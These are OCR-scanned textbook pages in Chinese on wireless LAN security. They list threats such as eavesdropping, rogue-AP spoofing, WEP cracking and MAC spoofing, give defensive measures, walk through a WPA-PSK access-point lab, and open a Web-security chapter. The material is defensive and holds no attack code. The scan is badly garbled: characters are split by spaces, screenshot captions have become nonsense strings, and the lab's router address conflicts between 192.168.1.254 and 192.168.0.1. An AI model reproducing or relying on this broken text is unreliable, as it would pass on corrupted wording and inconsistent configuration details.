对 无 线 网 络 安全 技术 的 研究 比 有 线 网 络 的 限制 更 多 ,难度 更 大 。 无 线 网 络 在 信息 安全 方面 
有 着 与 有 线 网 络 不 同 的 特点 。 

WLAN 所 面临 的 安全 威胁 主要 有 以 下 几 类 。 

1. 网 络 窃听 

一 般 来 说 ,大 多 数 网 络 通信 都 是 以 明文 ( 非 加 密 ) 格 式 出 现 的 ,这 就 会 使 处 于 无 线 信号 覆 
盖 范 围 之 内 的 攻击 者 可 以 乘机 监视 并 破解 ( 读 取 ) 通 信 。 这 类 攻击 是 企业 管理 员 面 临 的 最 大 
安全 问题 。 如 果 没 有 基于 加 密 的 强 有 力 的 安全 服务 ,数据 就 很 容易 在 网 络 传输 时 被 他 人 读 
取 并 利用 。 

2. AP 中 间 人 欺骗 

在 没有 足够 的 安全 防范 措施 的 情况 下 ,是 很 容易 受到 利用 非法 AP 进行 的 中 间 人 欺骗 
攻击 。 解 决 这 种 攻击 的 通常 做 法 是 采用 双向 认证 方法 ( 即 网 络 认 证 用 户 , 同 时 用 户 也 认证 网 
络 ) 和 基于 应 用 层 的 加 密 认 证 (如 HT TPS+ Web). 

3. WEP 破解 

现在 互联 网 上 存在 一 些 程序 ,能 够 捕捉 位 于 AP 信号 覆盖 区 域内 的 数据 包 , 收 集 到 足够 
的 WEP 弱 密 钥 加 密 的 包 ,并 进行 分 析 以 恢复 WEP 密 钥 。 根 据 监听 无 线 通 信和 的 机 器 速度 、 
WLAN 内 发 射 信号 的 无 线 主 机 数量 ,以 及 由 于 802.11 帧 冲突 引起 的 IV 重 发 数量 ,最 快 可 
以 在 两 个 小 时 内 攻破 WEP 密 钥 。 

4. MAC 地 址 欺骗 

即使 AP 起 用 了 MAC 地 址 过 滤 ,使 未 授权 的 黑客 的 无 线 网 卡 不 能 连接 AP, 这 并 不 意 
味 着 能 阻止 黑客 进行 无 线 信号 监听 。 通 过 某 些 软件 分 析 截 获 的 数据 ,能 够 获得 AP 允许 通 
信 的 设备 的 MAC 地 址 ,这样 黑客 就 能 利用 MAC 地 址 伪装 等 手段 人 侵 网 络 了 。 

5. 窃取 网 络 资源 

有 些 用 户 喜欢 从 邻近 的 无 线 网 络 访问 互联 网 ,即使 他 们 没有 什么 恶意 企图 ,但 仍 会 占用 
大 量 的 网 络 带宽 ,严重 影响 网 络 性 能 。 而 更 多 的 不 速 之 客 会 利用 这 种 连接 从 公司 范围 内 发 
送 邮 件 ,或 下 载 盗 版 内 容 ,这 会 产生 一 些 法 律 问题 。 


9.5.2 无 线 网 络 的 安全 防范 措施 


基于 以 上 无 线 网 络 存在 的 诸多 的 安全 隐患 ,那么 如 何 采取 恰当 的 方法 进行 防范 ,使 无 线 
网 络 的 安全 隐患 消灭 在 萌芽 状态 ,尽量 使 无 线 网 络 受 破坏 的 程度 降 到 最 低 ,以 保证 无 线 网 络 
应 用 的 范围 普及 。 下 面 介 绍 几 种 对 无 线 网 络 安全 技术 实现 的 措施 。 

1. 采用 强大 的 密码 

一 个 足够 强大 的 密码 可 以 让 暴力 破解 成 为 不 可 能 实现 的 情况 。 相 反 的 ,如 果 密 码 强 度 
不 够 ,几乎 可 以 肯定 会 让 用 户 的 系统 受到 攻击 。 

使 用 10 个 字符 以 上 的 密码 ,也 可 以 使 用 一 些 表达 ,如 “thisismywirelessnetworksecure” 
等 取代 原来 较 短 的 密码 ; 或 者 使 用 更 为 复杂 的 密码 ,如 “WI1flp4ss $ #”, 这 类 密码 更 具 安 


BIE 无 线 网 络 安全 与 防御 技术 251 


全 性 。 

2. 严禁 广播 服务 集合 标识 符 (SSID) 

SSID 是 无 线 网 络 用 于 定位 服务 的 一 项 功能 ,为 了 能 够 进行 通信 , 无 线路 由 器 和 主机 必 
须 使 用 相同 的 SSID。 在 通信 过 程 中 ,无 线路 由 器 首先 广播 其 SSID, 任 何在 此 接收 范围 内 的 
主机 都 可 以 获得 SSID, 使 用 此 SSID 值 对 自身 进行 配置 后 就 可 以 和 无 线路 由 器 进行 通信 。 
毫 无 疑问 ,SSID 的 使 用 暴露 了 路 由 器 的 位 置 , 这 会 带 来 潜在 的 安全 问题 。 对 无 线路 由 器 进 
行 配置 ,禁止 服务 集合 标识 符 的 广播 ,尽管 不 能 带 来 真正 的 安全 ,但 至 少 可 以 减轻 受到 的 威 
胁 ,因为 很 多 初级 的 恶意 攻击 都 是 采用 扫描 的 方式 寻找 那些 有 漏洞 的 系统 。 隐 藏 了 服务 集 
合 标识 符 , 这 种 可 能 就 大 大 降低 了 。 大 多 数 商 业 级 路 由 器 防火 墙 设备 都 提供 相关 的 功能 设 
置 。 提 高 安全 性 的 同时 ,也 在 某 种 程度 上 带 来 不 便 ,进行 通信 的 客户 机 必须 手动 进行 SSID 
配置 。 

3. 采用 有 效 的 无 线 加 密 方式 

动态 有 线 等 效 保 密 (WEP) 并 不 是 效果 很 好 的 加 密 方 式 。 只 要 使 用 像 Aircrack 一 样 免 
费 工具 ,就 可 以 在 短 短 的 几 分 钟 里 找 出 动态 有 线 等 效 保密 模式 加 密 过 的 无 线 网 络 中 的 漏洞 。 
无 线 网 络 保护 访问 (WPA) 是 目前 通用 的 加 密 标准 ,用 户 很 可 能 已 经 使 用 了 了。 当然, 如果 有 
可 能 的 话 , 应 该 选择 使 用 一 些 更 强大 有 效 的 方式 。 毕 竞 ,加 密 和 解密 的 斗争 是 无 时 无 刻 不 在 
进行 的 。 

4. 采用 不 同类 型 的 加 密 

不 要 仅仅 依靠 无 线 加 密 手 段 来 保证 无 线 网 络 的 整体 安全 。 不 同类 型 的 加 密 可 以 在 系统 
层面 上 提高 安全 的 可 靠 性 。 举 例 来 说 ,OpenSSH 就 是 一 个 不 错 的 选择 ,可 以 为 在 同一 网 络 
内 的 系统 提供 安全 通信 ,即使 需要 经 过 因特网 也 没有 问题 。 采 用 加 密 技术 来 保护 无 线 网 络 
中 的 所 有 通信 数据 不 被 窃取 是 非常 重要 的 ,就 像 采用 了 SSL 加 密 技术 的 电子 商务 网 站 
一 样 。 

5. 对 媒体 访问 控制 (MAC) 地 址 进行 控制 

一 般 来 说 ,媒体 访问 控制 (MAC) 地 址 的 限制 不 会 提供 真正 的 保护 。 但 是 , 像 隐藏 无 线 
网 络 的 服务 集合 标识 符 、 限 制 媒体 访问 控制 (MAC) 地 址 对 网 络 的 访问 ,是 可 以 确保 网 络 不 
会 被 初级 的 恶意 攻击 者 骚扰 的 。 对 于 整个 系统 来 说 ,针对 从 专家 到 新 手 的 各 种 攻击 进行 全 
面 防护 ,以 保证 系统 安全 的 无 懈 可 击 是 非常 重要 的 。 

6. 在 网 络 不 使 用 的 时 间 , 将 无 线 网 络 关 闭 

这 个 建议 的 采用 与 否 , 取 决 于 网 络 的 具体 情况 。 如 果 用 户 并 不 是 需要 每 天 都 使 用 网 络 ， 
那 就 可 以 采用 这 个 措施 。 毕 竟 ,在 网 络 关闭 的 时 间 ,安全 性 是 最 高 的 , 没 人 能 够 连接 不 存在 
的 网 络 。 

7. 关闭 无 线 网 络 接口 

如 果 用 户 使 用 笔记 本 电脑 之 类 的 移动 终端 的 话 , 应 该 将 无 线 网 络 接口 在 默认 情况 下 给 
予 关闭。 只 有 确实 需要 连接 到 一 个 无 线 网 络 的 时 间 才 打开 相关 的 功能 ; 其 余 的 时 间 , 关 闭 
的 无 线 网 络 接口 让 用 户 不 会 成 为 恶意 攻击 的 目标 。 
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8. 对 网 络 入 侵 者 进行 监控 

对 于 网 络 安全 的 状况 ,必须 保持 全 面 关 注 。 用 户 需要 对 攻击 的 发 展 趋势 进行 跟踪 ,了 解 
恶意 工具 是 怎么 连接 到 网 络 上 的 ,怎么 做 可 以 提供 更 好 的 安全 保护 ; 还 需要 对 日 志 里 扫描 
和 访问 的 企图 等 相关 信息 进行 分 析 , 找 出 其 中 有 用 的 部 分 ,并 且 确 保 在 真正 的 异常 情况 出 现 
的 时 间 可 以 给 予 及 时 的 通知 。 毕 竟 ,众所周知 最 危险 的 时 间 就 是 事情 进行 到 一 半 的 时 间 。 

9. 确保 核心 的 安全 

在 用 户 离开 的 时 间 ,务必 确保 无 线路 由 器 或 连接 到 无 线 网 络 上 正在 使 用 的 笔记 本 电脑 
上 运行 了 有 效 的 防火 墙 。 还 要 注意 的 是 ,请 务必 关闭 不 必要 的 服务 , 特别 是 在 微软 
Windows 操作 系统 下 不 需要 的 服务 ,因为 在 默认 情况 下 它们 活动 的 后 果 可 能 会 出 乎 意料 。 
实际 上 ,用 户 要 做 的 是 尽 一 切 可 能 确保 整个 系统 的 安全 。 

除了 以 上 这 些 措施 ,采用 端口 访问 技术 (802. 1x) 进 行 控制 ,防止 非 授 权 的 非法 接 入 和 
访问 ; 对 于 密度 等 级 高 的 网 络 采 用 VPN 进行 连接 ; 修改 默认 的 AP 密码 ; 部 署 AP 的 时 候 
要 在 公司 办 公 区 域 以 外 进行 检查 ,防止 AP 的 覆盖 范围 超出 办 公 区 域 (难度 比较 大 ) ,同时 要 
让 保安 人 员 在 公司 附近 进行 巡查 ,防止 外 部 人 员 在 公司 附近 接 人 网 络 ; 禁止 员工 私自 安装 
AP, 通 过 便携 机 配置 无 线 网 卡 和 无 线 扫 描 软 件 可 以 进行 扫描 ; 如 果 网 卡 支持 修改 属性 需要 
密码 功能 ,要 开启 该 功能 ,防止 网 卡 属性 被 修改 ; 配置 设备 检查 非法 进入 公司 的 2.4GHz 电 
磁 波 发 生 器 ,防止 被 干扰 和 DoS; 制定 无 线 网 络 管理 规定 ,规定 员工 不 得 把 网 络 设置 信息 告 
诉 公司 外 部 人 员 ; 禁止 设置 P2P 的 Ad hoc 网 络 结构 ; 跟踪 无 线 网 络 技术 ,特别 是 安全 技术 
(如 802. 11i 对 密 钥 管理 进行 了 规定 ) ,对 网 络 管理 人 员 进 行 知识 培训 等 都 可 以 作为 无 线 网 
络 安全 防范 措施 。 


实 训 10 组 建安 全 的 无 线 网 络 一 一 WPA-PSK 


1. 实 训 目的 

掌握 如 何 用 WPA-PSK 模式 来 部 署 安全 的 无 线 网 络 。 

2. 实 训 内 容 

假如 你 是 某 网 络 公司 的 技术 工程 师 ,公司 部 署 了 无 线 网 络 , 由 于 共享 密 钥 容易 被 人 破 
解 ,因此 公司 决定 采用 WPA-PSK 的 验证 方式 ; 无 线 AP 作为 DHCP 服务 器 ,自动 为 无 线 
PC 分 配 IP 地 址 ,分 配 的 IP 地 址 范围 为 192. 168. 1. 100/24~192. 168. 1. 200/24, 


3. 实 训 设备 

(1) 带 802. 11g 无 线 网 卡 的 笔记 本 2 A PC 2 台 外 加 802. 11g 无 线 外 置 USB 网 卡 两 块 。 

(2) 无 线 LAN 接 入 器 一 台 ( 本 例 设 备 MW150R ,管理 地 址 为 192. 168. 1. 254)。 

(3) 网 线 一 根 。 

4. 实 训 步 骤 

(1) 设置 PC1 的 以 太 网 接口 地 址 为 192. 168. 1. 10/24 ,因为 MW150R 的 管理 地 址 默认 
为 192. 168. 1.254/24, 如 图 9-6 所 示 。 
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Internet 协议 (ICP/IP) 展 性 
(ea | 
cael Paseenandean eg. 


〇 自动 获得 IP 地 址 @) 
加 使 用 下 面 的 IP MO: 
P AO: 

FAU 


默认 网 关中): 


Babee’ DNS 服务 器 地 址 B) 
回 使 用 下 面 的 DIS 服务 器 地 址 €) 
首选 m 服务 器 下 ) 
备用 DRS BSB @) 


图 9-6 PCI 的 以 太 网 接口 地 址 设置 
(2) JA TE 3H) 98 BE eH A “http: //192. 168. 0. 1” ,登录 到 MW150R 的 管理 界面 ,输入 默 
认 密 码 为 “default”。 如 图 9-7 所 示 。 


版 本 信息 


当前 软件 版 本 : 4.17.7 Build 110314 Rel.41712n 
当前 硬件 版 本 : W150R 5.0 00000000 


WORE 
MAC 地 址 : 40-18-9F-D2-62-64 
TPH : 192. 168. 1, 254 
FA: 255. 255. 255. 0 


图 9-7 AP 的 管理 界面 


G) 在 无 线 网 络 基 本 设置 界面 中 ,设置 “SSID 号 ”为 *AP-Z1”, “模式” 为 11bgn mixed 
(802. 11b、g、n),“ 信 和 道 ” 为 “6”,“ 频 段 带宽 ”为 “自动 ”; 选中 “开启 无 线 功 能 "和 “开启 SSID 广 
播 " 复 选 框 ,如 图 9-8 所 示 。 设 置 完毕 后 , 单 击 “ 保 存 ” 按 钮 。 


无 线 网 络 基本 设置 
本 页 面 设置 路 由 器 无 线 网 络 的 基本 参数 。 
SSII 号 ; FE 
信道 : 6 D 
模式 : liben mixed 国 | 
SERR: EN 
回 开启 无 线 功能 
BFesm 
Osens 
Es m 


98 无 线 网 络 基本 设置 界面 


254 信息 安全 与 技术 


(4) 用 无 线 AP 作 DHCP 服务 器 ,自动 为 无 线 PC 分 配 IP 地 址 。 在 DHCP 服务 界面 选 
中 “启用 ” 单 选 按 钮 ,并 输入 “地 址 池 开 始 地 址 ”与 地址 池 结 束 地 址 ”, 如 图 9-9 所 示 。 配 置 完 
成 后 单 击 “ 保 存 ” 按 钮 。 


TDHCP 服 务 
本 路 由 器 内 建 的 HCF 服 务 器 能 自动 配置 忆 域 网 中 各 计算 机 的 TCP/IF 协 议 。 
TNCP 服 务 器 : OFSA Osh 


wiae: E] 
地 址 池 结 束 地 址 : [192. 168. 1.200 


地 址 租 期 : 120 | 分 钟 《 1 一 2860 分 钟 ， 缺 省 为 120 分 钟 
x: [ooo] cme 


wees: = aw 
主 DNS 服 务 器 : 0.0.0.0 Cape) 
备用 DNS 服务 器 : [0.0.0.0 (可 选 ? 


(ee) (HH) 


图 9-9 DHCP 服务 界面 
(5) 配置 无 线 AP 加 密 方式 。 在 无 线 网 络 安全 设置 界面 进行 配置 ,如 图 9-10 所 示 。 


安全 提示 ; 为 保障 网 结 安全 ,强烈 推荐 开局 安全 设置 ,并 使 用 WPA- 
PSK/WPA2-PSK AES 加 密 方 法 。 


O 不 开启 无 线 安全 
© Wra-PSK/WPA2-PSK 
认证 类 型 : WPA2-PSK 加 
mS: As 国 
C 8-63 个 ASCII 码 字符 或 8-64 个 十 六 进 制 字符 ) 
SHEMEN: 0 


( 单位 为 秒 ， 晤 小 值 为 30， 不 更 新 则 为 0) 


© wea 

认证 类 型 : 6z E] 

MEMA: B% W 

Radius 服 务 器 IF : 

Radius 庙 口 : 1812 | 《1-65535, 0 表示 默认 端口 : 1812) 
Radius Ei: 

组 密 钥 更 新 周期 : 88400 


(单位 为 秒 ， 景 小 值 为 30 ,不 更 新 则 为 0 
图 9-10 配置 无 线 AP 加 密 方式 


MW150R 提供 的 网 络 认 证 类 型 有 开放 (自动 ) 共享 密 钥 `WPA-PSK WPA 等 ,本 例 使 
用 WPA-PSK. 

D 开放 (自动 )。 开 放 系 统 不 需要 认证 ,因为 它 不 执行 任何 安全 检测 就 允许 所 有 设备 加 
入 网络。 

@ 共享 密 钥 。 共 享 密 钥 要 求 进入 点 和 终端 间 WEP 密 钥 相 同时 , 才 人 允许 终端 加 入 网 络 。 

© WPA-PSK。 用 比 WEP 加 密 更 加 安全 的 方式 让 无 线 站 点 与 AP 通信 ,选择 WPA-PSK 模 
式 可 以 提高 数据 传输 的 安全 性 。AP 提供 的 WPA-PSK 是 使 用 预 设 的 密 钥 模式 ,不 需要 
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Radius 支持 。 

@ WPA。 用 比 WPA-PSK 加 密 更 加 安全 的 方式 让 无 线 站 点 与 AP 通信 ,选择 WPA 模 
式 可 以 提高 数据 传输 的 安全 性 ,但 需要 Radius 支持 。 此 时 ,可 以 选择 启用 “组 密 钥 更 新 周 
期 "功能 ,建议 使 用 默认 配置 。 

(6) 无 线 网 络 MAC 地 址 过 滤 。 可 以 设置 MAC 地 址 过 滤 规 则 ,允许 或 禁止 一 部 分 
MAC 地 址 连接 到 AP ,实现 安全 控制 。 本 例 的 参数 设置 ,如 图 9-11 所 示 。 


无 绑 风 Ac 地 址 过 小 设置 
本 页 设置 wc 地 址 过 湾 来 控制 计算 机 对 本 无 线 网 络 的 访问 。 
MAC 地 址 过 小 功能 : 已 开 局 [FE] 


O 禁止 列表 中 生效 的 WA 地 址 访问 本 无 线 网 络 
© sit 列表 中 生效 的 WAC 地 址 访问 本 无 线 网 络 


ID MAC 地 址 状态 描述 | 编辑 
1 | 48-SD-60-E3-DA-68 生效 pel 编辑 HIE 
CANRAN | [PAREEN | [FARNAM | CARE] 
E ES] 


图 9-11 MAC 地 址 过 滤 设 置 
(7) 连接 AP。 开 启 PC 无 线 网 络 功能 ,搜索 无 线 网 络 ,选中 “AP-Z1” 选 项 , 单 击 “ 连 接 ” 
按钮 ,输入 网 络 密 钥 “7561ap-z1”, 如 图 9-12 所 示 。 输 入 完毕 后 , 单 击 “ 连 接 ” 按 钮 ,连接 结果 
如 图 9-13 所 示 。 


有 (也 称 作 WEP SHA wra 密 钥 )。 网 络 密 钥 帮 助 阻止 未 | 


Reso: 


MUREA O 


9-12 ”PC 无 线 网 络 连 接 


(8) 查看 无 线 网 卡 。 开 启 DOS 界面 ,输入 “ipconfig” 命 令 ,网络 信 息 如 图 9-14 所 示 。 
(9) ping 测试 PC1、PC2 的 连通 ; 结果 如 下 。 


C:\Documents and Settings\Administrator>ping 192.168.1.101 
Pinging 192.168.1.101 with 32 bytes of data: 

Reply from 192.168.1.101: bytes = 32 time = 2ms TTL = 64 

Reply from 192.168.1.101: bytes = 32 time = lms TTL = 64 

Reply from 192.168.1.101: bytes = 32 time = 4ms TTL = 64 

Reply from 192.168.1.101: bytes = 32 time = 2ms TTL= 64 
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无 线 网 络 连 接 
网 络 任务 选择 无 线 网 络 
© 风 新 网 络 列表 单 击 以 下 列表 中 的 项 目 以 连 按 到 区 域内 的 无 线 网 络 或 获得 更 多 信息 W. 


= sae p aa cee te E 
Ë? 局 用 安全 的 无 线 网 络 wr) all 


相关 任务 y 
D Teena È 启用 安全 的 无 网络 one) ail) 


xingran 


(‘@)) 
1 ? 启 用 安全 的 无 线 网 络 ON) wll 


P TRENAR « ? WERCURY_440970 


启用 安全 的 无 线 网 络 one) will 
TP-LIEK-abed 


ga 
Ë 局 用 安全 的 无 线 网 络 W2) wlll 
« 9 ») 7 


图 9-13 PC 无 线 网 络 连 接 结果 


图 9-14 查看 PC 无线 网 络 连 接 


5. 实 训 注意 事项 

(1) MW150R 的 物理 连 线 要 正确 。 

(2) 当 无 线 接 人 点 设置 网 络 认 证 类 型 和 密 钥 后 ,和 无 线 接 和 人 点 连接 的 无 线 网 卡 也 必须 
使 用 相同 的 网 络 认 证 类 型 和 密 钥 ,否则 它们 不 能 建立 连接 或 通信 。 


本 章 小 结 


(1) 无 线 局 域 网 是 指 以 无 线 信 道 作 传输 媒介 的 计算 机 局 域 网 。 本 章 介 绍 了 无 线 网 络 安 
全 的 基本 概念 ,无 线 网 络 存在 的 安全 性 问题 的 主要 表现 。 在 无 线 局 域 网 里 ,常见 的 设备 , 主 
要 有 无 线 网 卡 、 无 线 网 桥 、 无 线 天 线 、AP 接 入 点 等 。 

(2) 目前 国际 上 有 三 大 标准 家 族 ,它们 是 美国 IEEE 802. 11 KIK EKI ETSI 高 性 能 局 
域 网 HIPERLAN 系列 和 日 本 ARIB 移动 多 媒体 接 入 通信 MMAC。 其 他 类 似 标 准 还 有 美 
E| HomeRF 共享 无 线 接 人 协议 SWAP. 

(3) 介绍 了 无 线 网 络 安全 协议 。 主 要 有 解决 无 线 局 域 网 络 安全 问题 ,网 络 安全 专家 先 
后 提出 了 有 线 等 效 保密 (WEP) 方 案 . 过 渡 期 间 的 Wi-Fi 保护 存 取 (WPA) 标 准 和 已 成 为 新 标 
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准 的 802. 11i, 我 国 在 2003 年 5 月 提出 的 无 线 局 域 网 鉴别 和 保密 基础 结构 (WAPI) 国 家 标 
准 GB15629. 11。 现 在 ,无 线 局 域 网 络 安全 已 经 得 到 很 大 程度 的 改善 ,但 是 要 真正 构建 端 到 
端的 安全 无 线 网 络 依然 任重道远 。 

(4) 无 线 网 络 的 安全 技术 主要 有 服务 集 标识 符 SSID. SSID 是 相 邻 的 无 线 接 入 点 (AP) 
区 分 的 标志 ,无 线 接 入 用 户 必须 设 定 SSID ARE A AP 通信。 尝试 连 接 到 无 线 网 络 的 系统 在 
被 允许 进入 之 前 必须 提供 SSID, 这 是 唯一 标识 网 络 的 字符 串 。 因 此 ,可 以 认为 SSID 是 一 个 
简单 的 口令 ,提供 了 口令 认证 机 制 ,实现 了 一 定 的 安全 性 。802. 1x 认证 技术 及 认证 机 制 ; 
无 线 网 卡 物理 地 址 (MAC) 过 滤 ; 数据 加 密 等 。 

(5) 无 线 网 络 所 面临 的 安全 威胁 主要 有 以 下 几 类 : 网 络 窃听 、AP 中 间 人 欺骗 .WEP 破 
ft MAC 地 址 欺骗 .窃取 网 络 资源 。 基 于 以 上 无 线 网 络 存在 的 诸多 的 安全 隐患 ,采取 下 面 
几 种 对 无 线 网 络 安全 技术 实现 的 措施 ,包括 采用 强大 的 密码 、 严 禁 广 播 服务 集合 标识 符 
(SSID) ,采用 有 效 的 无 线 加 密 方式 、 采 用 不 同类 型 的 加 密 、 对 媒体 访问 控制 (MAC) 地 址 进行 
控制 ,在 网 络 不 使 用 的 时 间 将 无 线 网 络 关闭 、 关 闭 无 线 网 络 接口 .对 网 络 入 侵 者 进行 监控 \ 确 
保 核心 的 安全 。 


思 考题 
. 简 述 WLAN. 
. 常用 的 无 线 网 络 设备 有 哪些 ? 
. 简 述 IEEE802. 11a 和 IEEE802. 11b 不 同 。 
. 简 述 WEP 协议 。 
. 简 述 WEP 缺陷 。 


. 简 述 WAPI 协议 。 

. 什么 是 SSID? 

. 无 线 网 络 的 安全 缺陷 主要 有 哪些 ? 

. 无 线 网 络 的 安全 防范 措施 主要 有 了 哪些? 


CoOorniraun rt won 
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应 用 系统 的 安全 技术 是 指 在 应 用 层面 上 解决 信息 交换 的 机 密 性 和 完整 性 ,防止 在 信息 
交换 过 程 中 数据 被 非法 窃听 和 自 改 的 技术 。 


10.1 Web 安全 技术 


Web 页 面 为 用 户 提供 了 网 络 应 用 系统 的 接口 以 及 海量 的 多 媒体 信息 (包括 文字 

频 信息 ) ,通过 Web 页 面 , 人 们 可 以 从 事 海量 知识 和 信息 的 检索 、 网 络 办 公 以 及 网 络 交易 
a 学 习 、 娱 乐 活动 。 然 而 , 有 些 人 受 利益 驱动 ,利用 了 人 们 上 网 的 心理 和 Web 
本 身 存在 的 漏洞 ,进行 违法 犯罪 活动 。 


10.1.1 Web 概述 


1. Web 组 成 部 分 

Web 最 初 是 以 开发 一 个 人 类 知识 库 为 目标 ,并 为 某 一 项 目的 协作 者 提供 相关 信息 及 交 
流 思想 的 途径 。Web 的 基本 结构 是 采用 开放 式 的 客户 端 / 服 务 器 结构 (Client/Server) ,它们 
之 间 利 用 通信 协议 进行 信息 交互 。 

1) 服务 器 端 (Web 服务 器 ) 

在 服务 器 结构 中 规定 了 服务 器 的 传输 设 定 、 信 息 传 输 格式 及 服务 器 本 身 的 基本 开放 结 
构 。Web 服务 器 是 驻 留 在 服务 器 上 的 软件 , 它 汇集 了 大 量 的 信息 。Web 服务 器 的 作用 就 是 
管理 这 些 文档 , 按 用 户 的 要 求 返 回信 息 。 

2) 客户 端 (Web 浏览 器 ) 

客户 端 通常 称 为 Web 浏览 器 ,用 于 向 服务 器 发 送 资源 请 求 , 并 将 接收 到 的 信息 解码 显 
示 。Web 浏览 器 是 客户 端 软件 , 它 从 Web 服务 器 上 下 载 和 获取 文件 ,翻译 下 载 文 件 中 的 
HTML 代码 ,进行 格式 化 ,根据 HTML 中 的 内 容 在 屏幕 上 显示 信息 。 如 果 文 件 中 包含 图 像 
以 及 其 他 格式 的 文件 (如 声 频 、 视 频 、Flash 等 ), Web 浏览 器 会 做 相应 的 处 理 或 依据 所 支持 
的 插件 进行 必要 的 显示 。 常 用 的 浏览 器 有 IE、 腾 讯 TT、Maxthon、Firefox、Opera、 世 界 之 
窗 、Netscape 等 。 

3) 通信 协议 (HTTP 协议 ) 

Web 浏览 器 与 服务 器 之 间 遵 循 HTTP 协议 进行 通信 传输 。HTTP (Hyper Text 
Transfer Protocol, 超 文本 传输 协议 ) 是 分 布 式 的 Web 应 用 的 核心 技术 协议 , 它 定义 了 Web 
浏览 器 向 Web 服务 器 发 送 索 取 Web 页 面 请 求 的 格式 ,以 及 Web 页 面 在 Internet 上 的 传输 
方式 。Web 服务 器 通过 Web 浏览 器 与 用 户 交 互 操作 ,相互 间 采 用 HTTP 协议 通信 (服务 器 
和 客户 端 都 必须 安装 HTTP 协议 )。 
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2. Web 安全 问题 


Web 的 初始 目的 是 提供 快捷 服务 和 直接 访问 ,所 以 早期 的 Web 没有 考虑 安全 性 问题 。 
随 着 Web 的 广泛 应 用 ,Internet 中 与 Web 相关 的 安全 事故 正成 为 目前 所 有 事故 的 主要 组 成 
部 分 。 为 了 深入 了 解 国内 用 户 应 对 Web 安全 威胁 的 现状 ,帮助 他 们 找 出 隐患 、 提 高 防范 能 
力 ,国内 领先 的 中 文 IT 技术 网 站 51CTO. com 于 2008 年 12 月 特别 推出 了 “Web 安全 威胁 
在 线 调 查 ” 活 动 , 邀 请 广大 用 户 参 与 线 上 调查 ,为 当前 Web 安全 及 威胁 现状 提供 更 为 有 力 的 
数据 依据 。 本 次 调查 按照 问卷 形式 进行 ,分 3 个 主题 ,共有 14 道 调查 选项 ,由 51CTO. com 
安全 频道 和 业内 相关 专家 共同 拟定 。 分 别 调查 用 户 在 “网 站 安全 ”“IM 即时 通信 安全 ”、 
“邮件 安全 ”3 个 方面 的 安全 现状 。 根 据 用 户 所 选项 的 比重 ,将 安全 状况 分 为 3 个 等 级 ,如 
图 10-1 所 示 。 

(1) 低 度 风险 : 防护 较为 完善 ,遭遇 Web 威胁 的 可 能 性 较 低 。 

(2) 中 度 风险 : 可 能 存在 有 明显 漏洞 ,有 较 大 可 能 性 遭遇 Web 威胁 。 

(3) 高 度 风 险 : 存在 较 大 安全 隐患 ,很 有 可 能 被 入 侵 , 严 重 情况 下 可 能 会 造成 关键 数据 

低 度 风险 
10.0% 
中 度 风险 
26.4% 


高 度 风险 
63.6% 


图 10-1 企业 总 体 Web 安全 风险 等 级 分 布 


“网 站 安全 ”偏重 于 调查 用 户 网 站 安全 威胁 和 IT 管理 人 员 的 技术 能 力 。 调 查 显示 , 目 
前 用 户 在 网 站 安全 管理 方面 已 经 有 了 相当 的 重视 。62.2% 的 用 户 具 备 专业 的 运 维 团队 在 保 
护 网 站 安全 ,其 中 更 有 8. 1% 的 用 户 定期 外 请 专业 安全 服务 团队 做 检查 加 固 等 ; 但 也 有 
29.7% 的 网 站 处 于 无 人 看 管 的 处 境 , 毫 无 疑问 ,这 些 网 站 往往 是 被 最 先 攻陷 的 。 

综合 分 析 可 以 看 出 ,当前 用 户 对 网 站 安全 威胁 普遍 担忧 ,对 用 户 来 说 ,怎样 合理 地 、 有 效 
地 保障 网 站 安全 是 Web 安全 中 令 大 多 数 人 困惑 的 事情 。 总 的 来 看 ,可 以 发 现 我 国 用 户 面 临 
的 Web 安全 威胁 是 非常 严重 的 ; 而 一 旦 出 现 网 站 挂 马 、 病 毒 爆 发 .入 侵 攻击 等 问题 ,完全 有 
可 能 马上 造成 灾难 性 后 果 。 考 虑 到 目前 用 户 正常 业务 对 网 络 的 依存 度 日 益 严 重 , 这 种 后 果 
更 让 人 感到 迫在眉睫 。 


10.1.2 Web 安全 目标 


Web 安全 目标 主要 分 为 以 下 3 个 方面 。 

1) 保护 Web 服务 器 及 其 数据 的 安全 

Web 服务 器 安全 是 指 系统 持续 不 断 地 、 稳 定 地 、 可 靠 地 运行 ,保证 Web 服务 器 提供 可 
靠 的 服务 ; 未 经 授权 不 得 访问 服务 器 ,保证 服务 器 不 被 非法 访问 ; 系统 文件 未 经 授权 不 得 
访问 ,从 而 避免 引起 系统 混乱 。Web 服务 器 的 数据 安全 是 指 存储 在 服务 器 里 的 数据 和 配置 
信息 未 经 授权 不 能 窃取 、 算 改 和 删除 ; 只 允许 授权 用 户 访问 Web 发 布 的 信息 。 

2) 保护 Web 服务 器 和 用 户 之 间 传 递 信息 的 安全 
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保护 Web 服务 器 和 用 户 之 间 传 递 信息 的 安全 主要 包括 3 个 方面 的 内 容 : 第 一 ,必须 确 
保 用 户 提供 给 Web 服务 器 的 信息 (用 户 名 、 密 码 、 财 务 信息 、 访 问 的 网 页 名 等 ) 不 被 第 三 方 所 
窃听 、 自 改 和 破坏 ; 第 二 ,对 从 Web 服务 器 端 发 送 给 用 户 的 信息 要 加 以 同样 的 保护 ; 第 三 ， 
用 户 和 服务 器 之 间 的 链 路 也 要 进行 保护 ,使 得 攻击 者 不 能 轻易 地 破坏 该 链 路 。 

3) 保护 终端 用 户 计算 机 及 其 他 接 入 Internet 的 设备 的 安全 

保护 终端 用 户 计算 机 的 安全 是 指 保证 用 户 使 用 的 Web 浏览 器 和 安全 计算 平台 上 的 软 
件 不 会 被 病毒 感染 或 被 恶意 程序 破坏 ; 确保 用 户 的 隐私 和 私人 信息 不 会 遭 到 破坏 。 保 护 接 
A Internet 设备 的 安全 ,主要 是 保护 诸如 路 由 器 、 交 换 机 的 正常 运行 , 免 遭 破坏 ; 保证 不 被 
黑客 安装 监控 以 及 后 门 程序 。 


10.1.3 Web 安全 技术 的 分 类 


Web 安全 技术 主要 包括 Web 服务 器 安全 技术 、Web 应 用 服务 安全 技术 和 Web 浏览 器 
安全 技术 三 类 。 

1. Web 服务 器 安全 技术 

当前 ,Web 服务 器 存在 的 安全 威胁 有 端口 扫描 、Ping 扫射 NetBIOS 和 服务 器 消息 块 
(SMB) 枚 举 .拒绝 服务 攻击 (DoS) .未 授权 访问 、 任 意 代 码 执行 与 特权 提升 .病毒 .蠕虫 和 特 
